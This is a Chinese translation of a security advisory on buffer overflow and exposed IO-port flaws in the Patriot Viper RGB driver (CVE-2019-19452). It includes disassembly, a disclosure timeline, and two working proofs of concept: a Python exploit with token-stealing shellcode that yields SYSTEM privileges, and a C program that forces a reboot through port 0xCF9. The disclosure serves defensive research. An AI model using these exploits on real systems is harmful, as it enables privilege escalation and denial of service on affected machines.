对 Viper RGB 驱动多个缓冲区溢出漏洞的分析

h1apwn 漏洞 2020-10-27 09:48:02

354848

导语：在处理IoControlCode 0x80102040时，在Viper驱动程序RGB 1.1版中发现缓冲区溢出漏洞。

0x01 漏洞信息

漏洞类型：基于堆栈的缓冲区溢出[ CWE-121 ]，暴露的IOCTL（访问控制不足）[ CWE-782 ] 影响：代码执行允许特权提升远程可利用：否本地可利用：是 CVE名称： CVE-2019-19452

0x02 漏洞描述

Patriot Memory是一家总部位于美国的技术公司，设计和制造内存模块，闪存驱动器，移动配件和游戏设备。

在处理IoControlCode 0x80102040时，在Viper驱动程序RGB 1.1版中发现缓冲区溢出漏洞。本地攻击者可以利用此漏洞，因此获得NT AUTHORITY \ SYSTEM特权。

IOCTL代码0x80102050和0x80102054允许具有低特权的用户从IO端口读取或向其写入1/2/4字节。可以通过多种方式来利用它来最终以提升的特权运行代码。

0x03 安全建议

1.1版和所有以前的版本在每个受支持的Windows版本中都容易受到攻击（安装程序：Patriot Viper RGB v1.1.exe）

解决方案和解决方法：

Patriot Memory已发布版本MSIO_191231_v1.2，该版本已修复报告中的漏洞。

这些漏洞是由Core Security Exploit团队的Ricardo Narvaja和Lucas Dominikow发现的。

0x04 漏洞分析和利用验证

基于堆栈的缓冲区溢出特权提升

CVE-2019-19452

对版本1.0的漏洞的利用验证发现了溢出漏洞的存在，该溢出可以覆盖ZwOpenSection和ZwMapViewOfSection的参数。

1.0版和1.1版之间的二进制代码差异表明，尽管对这些函数的参数进行了检查，但先前的溢出漏洞仍存在未进行修补，而CoreLabs在随后研究中能够控制其大小。

可以在下面找到有关版本1.0的信息：

https://github.com/active-labs/Advisories/blob/master/ACTIVE-2019-012.md

https://www.activecyber.us/activelabs/viper-rgb-driver-local-privilege-escalation-cve-2019-18845

在版本1.1中，控制器分析IoControlCodes并到达此位置，将IoControlCode与0x80102040进行比较。

 .text:0000000000001518 lea     rcx, aIrpMjDeviceCon ; "IRP_MJ_DEVICE_CONTROL"
 .text:000000000000151F call    DbgPrint
 .text:0000000000001524 mov     r11d, [rbp+18h]
 .text:0000000000001528 cmp     r11d, 80102040h
 .text:000000000000152F jz      loc_16D4

如果比较结果正确，则会调用由CoreLabs控制的MaxCount（要复制的大小）和SRC（源缓冲区）的memmove，没有进行验证以确保数据适合目标缓冲区，从而导致堆栈溢出。

 .text:00000000000016E8 lea     rcx, [rsp+78h+Src] ; Dst
 .text:00000000000016ED mov     r8, rbx         ; MaxCount
 .text:00000000000016F0 mov     rdx, rsi        ; Src
 .text:00000000000016F3 call    memmove

由于驱动程序尚未使用安全cookie保护函数的堆栈，因此可以成功执行任意代码。

可以通过调用CreateFileA来获取驱动程序的句柄，然后通过发送受控数据来调用DeviceIoControl来实现此功能。下面将使用针对Windows 7 SP1 x64设计PoC，演示针对x64版本驱动程序的代码执行。该代码将需要改编为其他Windows版本。

有效利用漏洞取决于目标设备和体系结构的细节。例如，在Windows 10中，有SMEP / SMAP和其他特定的缓解措施。

下面看到的PoC漏洞利用演示了此过程，该过程重用了连接套接字以生成shell并在系统上执行任意命令。

 #!/usr/bin/env python
 import struct, sys, os
 from ctypes import *
 from ctypes.wintypes import *
 import os
 import struct
 import sys
 from ctypes import wintypes
  
  
 GENERIC_READ = 0x80000000
 GENERIC_WRITE = 0x40000000
 GENERIC_EXECUTE = 0x20000000
 GENERIC_ALL = 0x10000000
 FILE_SHARE_DELETE = 0x00000004
 FILE_SHARE_READ = 0x00000001
 FILE_SHARE_WRITE = 0x00000002
 CREATE_NEW = 1
 CREATE_ALWAYS = 2
 OPEN_EXISTING = 3
 OPEN_ALWAYS = 4
 TRUNCATE_EXISTING = 5
 HEAP_ZERO_MEMORY=0x00000008
 MEM_COMMIT = 0x00001000
 MEM_RESERVE = 0x00002000
 PAGE_EXECUTE_READWRITE = 0x00000040
  
 ntdll = windll.ntdll
 kernel32 = windll.kernel32
  
 ntdll.NtAllocateVirtualMemory.argtypes = [c_ulonglong, POINTER(c_ulonglong), c_ulonglong, POINTER(c_ulonglong),c_ulonglong,c_ulonglong]
 kernel32.WriteProcessMemory.argtypes = [c_ulonglong, c_ulonglong, c_char_p,  c_ulonglong, POINTER(c_ulonglong)]
  
 GetProcAddress = kernel32.GetProcAddress
 GetProcAddress.restype = c_ulonglong
 GetProcAddress.argtypes = [c_ulonglong, wintypes.LPCSTR]
  
  
 GetModuleHandleA = kernel32.GetModuleHandleA
 GetModuleHandleA.restype = wintypes.HMODULE
 GetModuleHandleA.argtypes = [wintypes.LPCSTR]
  
 k32Dll=GetModuleHandleA("kernel32.dll")
 print "0x%X"%(k32Dll)
  
 if (not k32Dll) :
     print ("[-] Failed To get module handle kernel32.dll\n")
  
 WinExec=GetProcAddress(k32Dll, "WinExec")
  
 print "0x%X"%(WinExec)
  
 if (not WinExec) :
     print ("[-] Failed To get WinExec address.dll\n")
  
 print "WinExec = 0x%x"%WinExec
  
 raw_input()
  
  
 buf = kernel32.VirtualAlloc(c_int(0x0),c_int(0x824),c_int(0x3000),c_int(0x40))
  
 shellcode="\x90\x90\x65\x48\x8B\x14\x25\x88\x01\x00\x00\x4C\x8B\x42\x70\x4D\x8B\x88\x88\x01\x00\x00\x49\x8B\x09\x48\x8B\x51\xF8\x48\x83\xFA\x04\x74\x05\x48\x8B\x09\xEB\xF1\x48\x8B\x81\x80\x00\x00\x00\x24\xF0\x49\x89\x80\x08\x02\x00\x00\x48\x31\xc0\x48\x81\xc4\x28\x01\x00\x00\xc3" 
  
 #STARTS HERE
 written    = c_ulonglong(0)
 dwReturn      = c_ulong()
 hDevice = kernel32.CreateFileA(r"\\.\Msio",GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, None, OPEN_EXISTING, 0, None )
  
  
 print "[+] buffer address: 0x%X" % buf
  
 data= "\xeb\x4e" + 0x46  * "A" + struct.pack("<Q",int(buf)) + shellcode
  
 print "%r"%data
  
 kernel32.RtlMoveMemory(c_int(buf),data,c_int(len(data)))
  
 bytes_returned = wintypes.DWORD(0)
 h=wintypes.HANDLE(hDevice)
 b=wintypes.LPVOID(buf)
              
 #TRIGGER
  
 dev_ioctl = kernel32.DeviceIoControl(hDevice, 0x80102040, b, 80, None, 0,byref(dwReturn), None)
  
 os.system("calc.exe")
  
 kernel32.CloseHandle(hDevice)

用python 64位执行该代码后，将显示具有NT AUTHORITY \ SYSTEM特权的calc。

端口映射的I / O访问

尽管当前没有为该漏洞分配CVE，但是如果MITER分配了其他CVE名称，则将使用其他信息更新本文档。

我们可以使用IOCTL代码0x80102050读取IO端口。

要指定我们要读取的IO端口以及要读取的字节大小，必须发送一个精心制作的缓冲区，其中前两个字节是IO端口，第六个是要读取的字节数1、2或4。

此外，可以使用IOCTL代码0x80102054对IO端口进行写入。另外，必须发送一个精心制作的缓冲区。此缓冲区与读取的缓冲区非常相似。主要区别在于我们还需要指定要发送到IO端口的数据。该数据可以为1/2/4字节，并从IO端口（3字节起）旁边开始，在这种情况下，第六个字节将确定要写入的字节数。

通过读取/写入IO端口我们可以实现利用。例如，以下PoC代码将通过重新引导计算机来导致拒绝服。

 #include 
 #include 
  
 #define IOCTL_READ_IOPORT 0x80102050 
 #define IOCTL_WRITE_IOPORT 0x80102054
  
  
 HANDLE GetDriverHandle(LPCSTR driverName)
 {
  
     HANDLE hDriver = CreateFile(driverName, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
  
     if (hDriver == INVALID_HANDLE_VALUE)
     {
         printf("Failed GetDriverHandle.\nError code:%d\n", GetLastError());
         exit(1);
     }
  
  
     return hDriver;
  
 }
  
  
 BYTE ReadPort(HANDLE hDriver, unsigned int port)
 {
     DWORD inBufferSize = 10;
     DWORD outBufferSize = 1;
  
     DWORD bytesReturned = 0;
  
     LPVOID inBuffer = VirtualAlloc(NULL, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
     LPVOID outBuffer = VirtualAlloc(NULL, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
  
  
     if (inBuffer == NULL)
     {
         printf("Failed to allocate inBuffer %d\n", GetLastError());
         return 1;
     }
  
     if (outBuffer == NULL)
     {
         printf("Failed to allocate outBuffer %d\n", GetLastError());
         return 1;
     }
  
  
     memcpy((char*)inBuffer, &port, 2);
     memset((char*)inBuffer + 6, 0x1, 1);
      
  
     BOOL retDevIoControl = DeviceIoControl(hDriver, IOCTL_READ_IOPORT, inBuffer, inBufferSize, outBuffer, outBufferSize, &bytesReturned, 0);
  
     if (retDevIoControl == 0)
     {
         printf("Failed DeviceIoControl\nError code:%d", GetLastError());
         return 1;
     }
  
     return (BYTE)(*((char*)outBuffer));
 }
  
 void WritePort(HANDLE hDriver, unsigned int port, BYTE data)
 {
  
     DWORD inBufferSize = 10;
     DWORD outBufferSize = 1;
  
     DWORD bytesReturned = 0;
  
     LPVOID inBuffer = VirtualAlloc(NULL, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
     LPVOID outBuffer = VirtualAlloc(NULL, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
  
     if (inBuffer == NULL)
     {
         printf("Failed to allocate inBuffer %d\n", GetLastError());
         exit(1);
     }
  
     if (outBuffer == NULL)
     {
         printf("Failed to allocate outBuffer %d\n", GetLastError());
         exit(1);
     }
  
  
  
     memcpy((char*)inBuffer, &port, 2);
     memcpy((char*)inBuffer + 2, &data, 1);
     memset((char*)inBuffer + 6, 0x1, 1); 
  
  
  
     BOOL retDevIoControl = DeviceIoControl(hDriver, IOCTL_WRITE_IOPORT, inBuffer, inBufferSize, outBuffer, outBufferSize, &bytesReturned, 0);
  
     if (retDevIoControl == 0)
     {
         printf("Failed DeviceIoControl\nError code:%d", GetLastError());
         exit(1);
     }
  
 }
  
  
 int main(int argc, char** argv)
 {
     LPCSTR driverName = (LPCSTR)"\\\\.\\Msio";
  
  
     HANDLE hDriver = GetDriverHandle(driverName);
  
     BYTE portCF9 = ReadPort(hDriver, 0xcf9) & ~0x6;
      
     WritePort(hDriver, 0xcf9, portCF9 | 2);
      
     Sleep(50);
      
     WritePort(hDriver, 0xcf9, portCF9 | 0xe); // Cold Reboot
      
  
     CloseHandle(hDriver);
  
  
     return 0;
 }

0x05 漏洞披露时间表

2019年11月6日– CoreLabs通过support@patriotmem.com向供应商发出了联系电子邮件，要求披露。

2019年11月26日–通过MITER网站申请CVE，收到申请确认。

2019年11月29日– MITER将CVE-2019-19452分配给第一个漏洞。

2019年12月5日–称为Patriot Memory HQ（510-979-1021），已通过自动电话系统转发给技术支持，还留下了留言信息和电子邮件。

2019年12月5日–收到来自卖方的电子邮件，要求进一步的信息。回复了非常基本的描述，并要求在发送POC之前确认此电子邮件是公司的首选公开方法。

2019年12月17日–收到来自供应商Patriot R＆D的电子邮件，其中确认了提交方式并将其命名为主要联系人，回复了PoC。

2020年1月1日–收到来自供应商的电子邮件，其中附有建议的修复程序。

2020年1月8日–确认补丁程序正确。与供应商确认补丁程序有效，并询问他们何时发布补丁程序。

2020年1月9日–供应商声明该补丁最多需要两周才能发布（2020年1月23日）。

2020年1月16日–通过电子邮件发送给供应商，以确认23日的一切按计划进行。说明我们打算在24日发布。

2020年1月16日–发现第二个未通过补丁解决的漏洞。新的POC发送给爱国者。

2020年1月20日–收到来自供应商的电子邮件，指出他认为发现第二个漏洞可能会延迟发布有问题的补丁。

2020年2月7日– Tweet由第三方发布在Twitter上，其中包含有关Viper RGB漏洞的信息。CoreLabs验证了推文中的信息是否正确，数据现在处于公开状态。

2020年2月8日–向MITRE请求第二个漏洞的CVE身份。

2020年2月8日–向Patriot请求第二个漏洞的补丁程序状态，并告知他们该信息现已在Twitter上公开。

2020年2月10日–Patriot回应说，第二个漏洞目前没有补丁。

2020年2月12日–告知Patriot，随着有关漏洞的信息公开，CoreLabs计划在2020年2月17日发布，除非在2020年2月14日之前收到进一步的沟通。

2020年2月17日–已发布咨询CORE-2020-0001。

参考信息：

https://www.viper.patriotmemory.com/viperrgbdramsoftware

https://www.coresecurity.com/contact

本文翻译自：https://www.coresecurity.com/advisories/viper-rgb-driver-multiple-vulnerabilities?source=twitter&code=CMP-0000001929&ls=100000000&utm_campaign=core-cts-emails&utm_content=117968468&utm_medium=social&utm_source=twitter&hss_channel=tw-17157238如若转载，请注明原文地址：

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对 Viper RGB 驱动多个缓冲区溢出漏洞的分析

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